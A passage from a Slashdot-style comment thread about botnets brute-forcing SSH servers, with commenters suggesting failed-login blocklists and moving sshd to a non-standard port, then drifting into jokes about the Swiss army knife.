    A blocklist generated by logging failed attempts would be the best solution for this. Not only would it be fairly successful in blocking known bad-hosts (with a fixed ip address anyway...) it would also be interesting to cross-link the data against known spam-hosts to see if theres any correlation. It would add credence to both blacklists and could decrease the effectiveness of the botnets.

    On the other hand this could just be evidence that the spammers are feeling the economic downturn and have found a few cycles to spare. The attacks can easily be optimized; how many ssh servers allow an amanda to login?

  50. Port obfuscation by DrYak · · Score: 1

    Port obfuscation works too.

    Those bots seem really stupid and only hammer port 22/tcp. Once you move your SSHD to another port (like 2222, for example) suddenly you stop having 4k failed connection attempts per hour.

    Compared to port knocking, it has the added benefit being simple to use from everywhere (knocking the port before establishing SSH connection won't be easy from a PalmOS PDA. It's possible, but requires you to write an additional new software), just like the PHP-script technique (every machine equipped with a SSH client should be able to download a password protected HTML page, even unnusal stuff like PDAs).

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  51. You insensitive-li clod-li. by DrYak · · Score: 1

    As a Swiss citizen, I feel personally offended that you so much underestimate the fierce attacks power of Switzerland.

    And our mighty and terrifying Swiss army.

    Equiped with our deadly swiss army pocket knifes.

    Specially the models with the cork-screw.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:You insensitive-li clod-li. by geekgirlandrea · · Score: 1

      Find a way to use a swiss army knife over IP and I'm sure the rest of the us will all tremble in fear. :)

  52. Final missing piece by DrYak · · Score: 1

    I'm actually astonished that Victorinox & Wenger haven't yet managed to cram an IP tool among all other weird appendices featured on their pocket knifes.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]